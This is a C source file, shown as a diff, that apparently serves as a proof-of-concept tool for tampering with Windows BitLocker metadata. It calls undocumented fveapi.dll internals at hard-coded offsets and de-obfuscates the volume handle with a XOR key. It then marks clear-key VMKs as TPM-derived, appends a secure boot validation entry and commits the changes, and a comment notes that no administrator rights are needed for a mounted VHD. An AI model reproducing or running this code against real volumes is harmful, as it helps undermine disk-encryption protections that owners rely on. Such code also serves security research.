| 1 | + | // given a fve volume, insert the correct metadata. |
| 2 | + | // talks to fveapi directly. |
| 3 | + | // for a mounted vhd, doesn't even need admin(!!!) |
| 4 | + | #include <windows.h> |
| 5 | + | #include <stdbool.h> |
| 6 | + | #include <stdio.h> |
| 7 | + | |
| 8 | + | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) |
| 9 | + | |
| 10 | + | // Opens an FVE encrypted volume. |
| 11 | + | typedef HRESULT (*fpFveOpenVolumeW)(LPWSTR volume, bool check, HANDLE* phFve); |
| 12 | + | // Writes dataset changes to an FVE encrypted volume. |
| 13 | + | typedef HRESULT (*fpFveCommitChanges)(HANDLE phFve); |
| 14 | + | // Closes an FVE encrypted volume. |
| 15 | + | typedef HRESULT (*fpFveCloseVolume)(HANDLE phFve); |
| 16 | + | |
| 17 | + | // fve handle is a pointer to a CFveApiBase XORed with this |
| 18 | + | #define HANDLE_KEY (0xE1AB7F0DF794A1C5ui64) |
| 19 | + | |
| 20 | + | // Structures we want. |
| 21 | + | // BitLocker metadata header. (BitLocker Drive Encryption (BDE) format.asciidoc 5.2) |
| 22 | + | typedef struct _FVE_DATASET |
| 23 | + | { |
| 24 | + | unsigned int DataSetSize; |
| 25 | + | unsigned int DataSetVersion; |
| 26 | + | unsigned int DataSetStart; |
| 27 | + | unsigned int DataSetEnd; |
| 28 | + | GUID FveIdentification; |
| 29 | + | unsigned int NonceCounter; |
| 30 | + | unsigned __int16 FvekType; |
| 31 | + | unsigned __int16 FvekPrefType; |
| 32 | + | FILETIME DateTime; |
| 33 | + | } FVE_DATASET, *PFVE_DATASET; |
| 34 | + | |
| 35 | + | // BitLocker metadata entry header. (BitLocker Drive Encryption (BDE) format.asciidoc 5.3) |
| 36 | + | typedef struct _FVE_DATUM |
| 37 | + | { |
| 38 | + | WORD StructureSize; |
| 39 | + | WORD Role; |
| 40 | + | WORD Type; |
| 41 | + | WORD Flags; |
| 42 | + | } FVE_DATUM, *PFVE_DATUM, **PPFVE_DATUM; |
| 43 | + | |
| 44 | + | // BitLocker key metadata blob. (BitLocker Drive Encryption (BDE) format.asciidoc 5.4) |
| 45 | + | typedef __unaligned __declspec(align(1)) struct _FVE_DATUM_KEY |
| 46 | + | { |
| 47 | + | FVE_DATUM h; |
| 48 | + | WORD KeyType; |
| 49 | + | WORD KeyFlags; // bit 0 internally used as "derived from TPM, ensure secureboot policy flag bit2 is set", but not ever set elsewhere... |
| 50 | + | WORD KeyData[1]; |
| 51 | + | } FVE_DATUM_KEY, *PFVE_DATUM_KEY; |
| 52 | + | |
| 53 | + | typedef __unaligned __declspec(align(4)) struct _FVE_DATUM_VMK_INFO |
| 54 | + | { |
| 55 | + | FVE_DATUM h; |
| 56 | + | GUID Identifier; |
| 57 | + | FILETIME DateTime; |
| 58 | + | WORD VmkHints; |
| 59 | + | WORD Priority; |
| 60 | + | } FVE_DATUM_VMK_INFO, *PFVE_DATUM_VMK_INFO; |
| 61 | + | |
| 62 | + | |
| 63 | + | // Internal functions. |
| 64 | + | // Gets the offset of the next entry in this set of metadata. |
| 65 | + | typedef NTSTATUS (*fpFveDatasetGetNext)(const FVE_DATASET *DataSet, WORD Role, WORD Type, unsigned int Start, unsigned int *Next); |
| 66 | + | // Gets a pointer to the metadata entry with a specified offset in this set of metadata. |
| 67 | + | typedef NTSTATUS (*fpFveDatasetGetDatumPointer)(const FVE_DATASET *DataSet, unsigned int Offset, FVE_DATUM **Datum); |
| 68 | + | // Gets the offset of the next sub-entry in this metadata entry. |
| 69 | + | typedef NTSTATUS (*fpFveDatumNestedGetNext)(const FVE_DATUM *Datum, WORD Role, WORD Type, WORD Start, WORD *Next); |
| 70 | + | // Adds a metadata entry to a set of metadata. |
| 71 | + | typedef NTSTATUS (*fpFveDatasetAppendDatum)(FVE_DATASET *DataSet, const FVE_DATUM *Datum, WORD Role); |
| 72 | + | |
| 73 | + | |
| 74 | + | // Offsets to interesting things. |
| 75 | + | #define OFFSET_DATASET 0x270 // << CFveApiBase::m_pDataSet |
| 76 | + | #define OFFSET_FVE_DATASET_GET_NEXT 0xF524 |
| 77 | + | #define OFFSET_FVE_DATASET_GET_DATUM_POINTER 0xB0034 |
| 78 | + | #define OFFSET_FVE_DATUM_NESTED_GET_NEXT 0xF658 |
| 79 | + | #define OFFSET_FVE_DATASET_APPEND_DATUM 0xD878 |
| 80 | + | |
| 81 | + | #define POINTER_FROM_OFFSET(base, offset) (void*) ( (size_t)(base) + (offset) ) |
| 82 | + | #define DYNAMIC_LINK(base, export) fp##export export = ( fp##export ) GetProcAddress(base, #export ) |
| 83 | + | #define DYNAMIC_LINK_OFFSET(base, offset, name) fp##name name = ( fp##name ) POINTER_FROM_OFFSET(base, offset) |
| 84 | + | |
| 85 | + | int wmain(int argc, wchar_t** argv) { |
| 86 | + | if (argc < 2) return 0; |
| 87 | + | HMODULE FveApi = LoadLibraryW(L"fveapi.dll"); |
| 88 | + | if (FveApi == NULL) { printf("LoadLibrary(fveapi) failed %d", GetLastError()); return 0; } |
| 89 | + | DYNAMIC_LINK(FveApi, FveOpenVolumeW); |
| 90 | + | if (FveOpenVolumeW == NULL) { printf("GetProcAddress(fveapi, FveOpenVolumeW) failed %d", GetLastError()); return 0; } |
| 91 | + | DYNAMIC_LINK(FveApi, FveCommitChanges); |
| 92 | + | if (FveCommitChanges == NULL) { printf("GetProcAddress(fveapi, FveCommitChanges) failed %d", GetLastError()); return 0; } |
| 93 | + | DYNAMIC_LINK(FveApi, FveCloseVolume); |
| 94 | + | if (FveCloseVolume == NULL) { printf("GetProcAddress(fveapi, FveCloseVolume) failed %d", GetLastError()); return 0; } |
| 95 | + | |
| 96 | + | DYNAMIC_LINK_OFFSET(FveApi, OFFSET_FVE_DATASET_GET_NEXT, FveDatasetGetNext); |
| 97 | + | DYNAMIC_LINK_OFFSET(FveApi, OFFSET_FVE_DATASET_GET_DATUM_POINTER, FveDatasetGetDatumPointer); |
| 98 | + | DYNAMIC_LINK_OFFSET(FveApi, OFFSET_FVE_DATUM_NESTED_GET_NEXT, FveDatumNestedGetNext); |
| 99 | + | DYNAMIC_LINK_OFFSET(FveApi, OFFSET_FVE_DATASET_APPEND_DATUM, FveDatasetAppendDatum); |
| 100 | + | |
| 101 | + | HANDLE hFve; |
| 102 | + | HRESULT result = FveOpenVolumeW(argv[1], true, &hFve); |
| 103 | + | if (FAILED(result)) { printf("FveOpenVolumeW() failed %x", result); return 0; } |
| 104 | + | void* pFve = (void*)((size_t)hFve ^ HANDLE_KEY); |
| 105 | + | PFVE_DATASET Dataset = *(PFVE_DATASET*) POINTER_FROM_OFFSET(pFve, OFFSET_DATASET); |
| 106 | + | |
| 107 | + | // For each VMK: |
| 108 | + | DWORD vmkCount = 0; |
| 109 | + | DWORD alreadyVmkCount = 0; |
| 110 | + | for (DWORD offVmkInfo = 0; NT_SUCCESS(FveDatasetGetNext(Dataset, 2, 8, offVmkInfo, &offVmkInfo)); ) { |
| 111 | + | PFVE_DATUM_VMK_INFO VmkInfo; |
| 112 | + | if (!NT_SUCCESS(FveDatasetGetDatumPointer(Dataset, offVmkInfo, (PPFVE_DATUM)&VmkInfo))) goto done; |
| 113 | + | // Is this a plain-text VMK? If not, skip. |
| 114 | + | printf("VMK: crypto type == %d\n", VmkInfo->Priority >> 8); |
| 115 | + | if ((VmkInfo->Priority >> 8) != 0) continue; |
| 116 | + | // For each key blob in the VMK: |
| 117 | + | for (WORD offVmkKey = 0; NT_SUCCESS(FveDatumNestedGetNext(&VmkInfo->h, 0xFFFF, 0xFFFF, offVmkKey, &offVmkKey)); ) { |
| 118 | + | PFVE_DATUM_KEY VmkKey; |
| 119 | + | if (!NT_SUCCESS(FveDatasetGetDatumPointer(Dataset, offVmkInfo + offVmkKey, (PPFVE_DATUM)&VmkKey))) continue; |
| 120 | + | // expected type key... |
| 121 | + | printf("VMKkey: type = %d\n", VmkKey->h.Type); |
| 122 | + | if (VmkKey->h.Type != 1) continue; |
| 123 | + | // if the flag is already set, don't bother. |
| 124 | + | if ((VmkKey->KeyFlags & 1) == 1) { alreadyVmkCount++; continue; } |
| 125 | + | VmkKey->KeyFlags |= 1; |
| 126 | + | vmkCount++; |
| 127 | + | } |
| 128 | + | } |
| 129 | + | if (vmkCount == 0) { |
| 130 | + | printf("Key flag was already set in %d VMK key%s\n", alreadyVmkCount, alreadyVmkCount != 1 ? "s" : ""); |
| 131 | + | if (alreadyVmkCount == 0) goto done; |
| 132 | + | } else { |
| 133 | + | printf("Set key flag in %d VMK key%s!\n", vmkCount, vmkCount != 1 ? "s" : ""); |
| 134 | + | } |
| 135 | + | |
| 136 | + | // If secure boot validation info already inside the metadata, no need to do that. |
| 137 | + | DWORD offValidation = 0; |
| 138 | + | if (!NT_SUCCESS(FveDatasetGetNext(Dataset, 4, 7, 0, &offValidation))) { |
| 139 | + | FVE_DATUM Metadata; |
| 140 | + | Metadata.StructureSize = sizeof(FVE_DATUM); |
| 141 | + | Metadata.Role = 4; |
| 142 | + | Metadata.Type = 7; |
| 143 | + | Metadata.Flags = 0; |
| 144 | + | if (NT_SUCCESS(FveDatasetAppendDatum(Dataset, &Metadata, 4))) { |
| 145 | + | printf("Added secure boot validation info!\n"); |
| 146 | + | } |
| 147 | + | } else { |
| 148 | + | printf("Secure boot validation info was already added!\n"); |
| 149 | + | goto done; |
| 150 | + | } |
| 151 | + | |
| 152 | + | result = FveCommitChanges(hFve); |
| 153 | + | if (FAILED(result)) printf("FveCommitChanges failed %x\n", result); |
| 154 | + | done: |
| 155 | + | result = FveCloseVolume(hFve); |
| 156 | + | if (FAILED(result)) printf("FveCloseVolume failed %x\n", result); |
| 157 | + | } |